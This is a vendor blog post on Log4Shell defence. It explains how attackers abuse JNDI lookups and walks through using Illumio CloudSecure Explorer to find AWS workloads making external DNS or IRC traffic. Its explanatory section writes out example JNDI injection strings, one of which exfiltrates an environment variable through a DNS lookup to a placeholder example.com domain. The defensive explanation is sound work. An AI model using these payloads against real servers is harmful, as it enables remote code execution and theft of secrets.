Adaptive Segmentationmicro-segmentation January 27, 2022

DNS Best Practices and Compliance Verification in the Wake of Log4Shell

Jonathan Bensen, Product Management Director

A vulnerability in Apache’s popular Java logging library was identified and reported on November 24, 2021, colloquially known as Log4Shell. With a Common Vulnerability Scoring System (CVSS) severity rating of 10.0, Log4Shell is considered one of the most dangerous vulnerabilities in recent years.

Unpatched versions of the widely-used logging library Log4j will perform remote lookups without validation and can be used for remote code execution on an application workload. Given the popularity of both Java and Log4j, huge portions of publicly-available servers around the world were — and still are — vulnerable to Log4Shell.

While server administrators and software developers can update their versions of Log4j, the library has been included in software and OS releases and, in some cases, will need to be updated independently. As a result, searching for servers vulnerable to the exploit has become an important part of assessing a security posture and bringing an environment into compliance with best practices.

Several providers and agencies have published recommendations for how to keep your network secure against Log4Shell and protect any potentially vulnerable servers.

DNS is one of the more common attack vectors, and AWS has recommended that all customer workloads use Route 53 Resolver DNS Firewall for resolution, which can detect and prevent external lookups to known bad actors.

This blog post will explain how you can use Illumio CloudSecure and its Explorer capability to find and mitigate non-compliant workloads. But first, let's take a closer look at how a Log4Shell attack is executed.

How Log4Shell works

The Log4Shell vulnerability, while severe, limits the attacker to only a few protocols when first executing code. Log4Shell relies on the Java Naming and Directory Interface (JNDI), an API intended for lookup and directory functionality.

Since it’s designed only to perform specific types of queries, it is limited to protocols like DNS and LDAP. As a result, these protocols are the paths available to an attacker attempting to discover and gain control of a vulnerable workload.

Attacks in the wild have followed a general pattern:

  • An attacker will feed a JNDI link containing a payload to a target server via, for example, the User-Agent header.
  • A vulnerable server will react by reading the header and performing the included JNDI lookup request.
  • The lookup is logged to the server listening for the request, and the attacker knows they can now attempt Remote Code Execution (RCE) with another JNDI payload.

The common pathways of attack

The contents of a payload vary but have favored DNS and LDAP lookup requests. The LDAP protocol allows an attacker to locally execute code hosted on an LDAP server, and has been favored for the execution stage of an attack. So far, DNS has been the reconnaissance tool of choice for many bad actors and security researchers. They begin by generating a unique subdomain for a root domain they own and including it in a special JNDI sequence, which looks something like ${jndi:dns://uniquesubdomain.example.com}.

A workload vulnerable to Log4Shell (with external DNS resolution allowed) will perform a DNS query, which will be sent to — and recorded by — the domain’s name server.

Data can also be exfiltrated in this manner by having a vulnerable workload perform a DNS lookup for a nonexistent subdomain within their example.com root domain. For example, ${jndi:dns://$ENVIRONMENT_VARIABLE.example.com} will ultimately return a nonexistent domain, but this lookup would first reach the domain’s name server and the environment variable would be recorded.

Defending cloud environments from Log4Shell with Illumio

In response to Log4Shell, AWS shared a series of best practices to help protect workloads hosted in their cloud. One action they recommend is "blocking outbound port 53 to prevent the use of external untrusted DNS servers." This is encouraged by CISA and many others. Best practices like these can help minimize a workload’s attack surface.

In the cloud, ensuring outbound traffic to untrusted sources can be challenging without a traditional network perimeter. Many cloud security posture management (CSPM) tools exist to help you ensure that your cloud network is well configured, but few tools exist to examine traffic and confirm your security posture.

Illumio has addressed this gap with CloudSecure, our latest product that extends the power of Illumio to the cloud. CloudSecure offers agentless, real-time visibility to understand your security risks and unified control to orchestrate cloud workload policies across hybrid and multi-cloud environments.

CSPMs are good at assessing your cloud configurations and indicating what could possibly happen.

In contrast, CloudSecure lets you see and assess your real-time traffic, making it possible for you to know what can and what did happen. This will make all the difference when trying to rapidly pinpoint security threats like Log4Shell within your cloud environment.

With CloudSecure, you can:

  • Eliminate blind spots with a holistic view into cloud traffic flows.
  • Proactively discover vulnerabilities and suspicious activity across multi-cloud and on-premises environments.
  • Gain deep insight into application behavior based on what can and what did happen inside and across clouds for faster response to policy changes and emerging risks.
  • Easily program and enforce security policies across cloud-native applications and resources to maintain a consistent security posture regardless of the environment.

Illumio CloudSecure also makes it easy to verify your compliance with AWS best practices. By searching for specific traffic flows using Explorer, Illumio can see if any cloud workloads are sending traffic beyond the network perimeter that should be blocked. A workload hosted in AWS that is querying an external DNS server can be easily identified. You can then quickly write a segmentation policy rule to block that traffic.

How to use Illumio to protect against Log4Shell

If you are an existing Illumio CloudSecure customer, follow the instructions below to see if any of your AWS workloads are querying external DNS servers.

  1. Log into your PCE and navigate to Explorer via the hamburger menu.
  2. For Consumers to Include, select the label that identifies all workloads in AWS.
  3. For Services to Include, enter 53.
  4. In the Excluded Providers field, click IP Address and select CIDR block before adding these AWS Route 53 subnets (if you use your own DNS servers in AWS, use labels or select them here by another means:
    1. 52.95.110.0/24
    2. 205.251.192.0/21
    3. 63.246.114.0/23
  5. You may choose to select a timeframe and click Go.

Explorer will now search for any DNS traffic flows that don’t use Route 53 (or your own servers) for lookups. Consumers of the returned flows are performing external DNS lookups from within AWS and may be querying insecure servers.

Illumio Explorer

You can use a similar workflow to identify unwanted or non-compliant traffic flows of other types. Several exploits use the IRC protocol to communicate with command-and-control servers, and most networks don’t use IRC for external communication.

This traffic would not trigger a CSPM finding, as outbound traffic wouldn’t be known to the CSPM tool. To search for this traffic, we need to make a few small changes to our earlier example.

  • Set Consumers to include the label(s) needed to identify the workloads in question.
  • Set Services to 6667.
  • Set Providers to Exclude to be the same label(s) you set for Consumers to Include.

This will search your workloads for any outbound traffic over the IRC protocol. Any traffic found should be reviewed and identified, as it may be undesirable.

In summary, Illumio CloudSecure enables organizations to review and confirm their cloud security posture. Unlike CSPM platforms, Illumio can help find and visualize at-risk traffic flows within cloud environments. By providing insight into what traffic is traversing the network, CloudSecure increases awareness of your cloud networks beyond automated configuration and compliance checks.

Explorer is a powerful tool that provides accurate reporting on up-to-date traffic flows. While it can be helpful to review and confirm that an environment meets Log4Shell best practices, Explorer can also help an organization prepare for the next dangerous vulnerability. Searching for traffic you identify as higher risk, such as outbound IRC traffic, can prepare your network for unknown and future vulnerabilities. If found, you can create rules to block this higher-risk traffic and improve your network's Zero Trust segmentation posture. 

To learn more:

  • Read our previous blog post about how you can reduce risk from Log4Shell with Illumio.
  • Watch the demo to see CloudSecure in action.
Adaptive Segmentationmicro-segmentation
Share this post: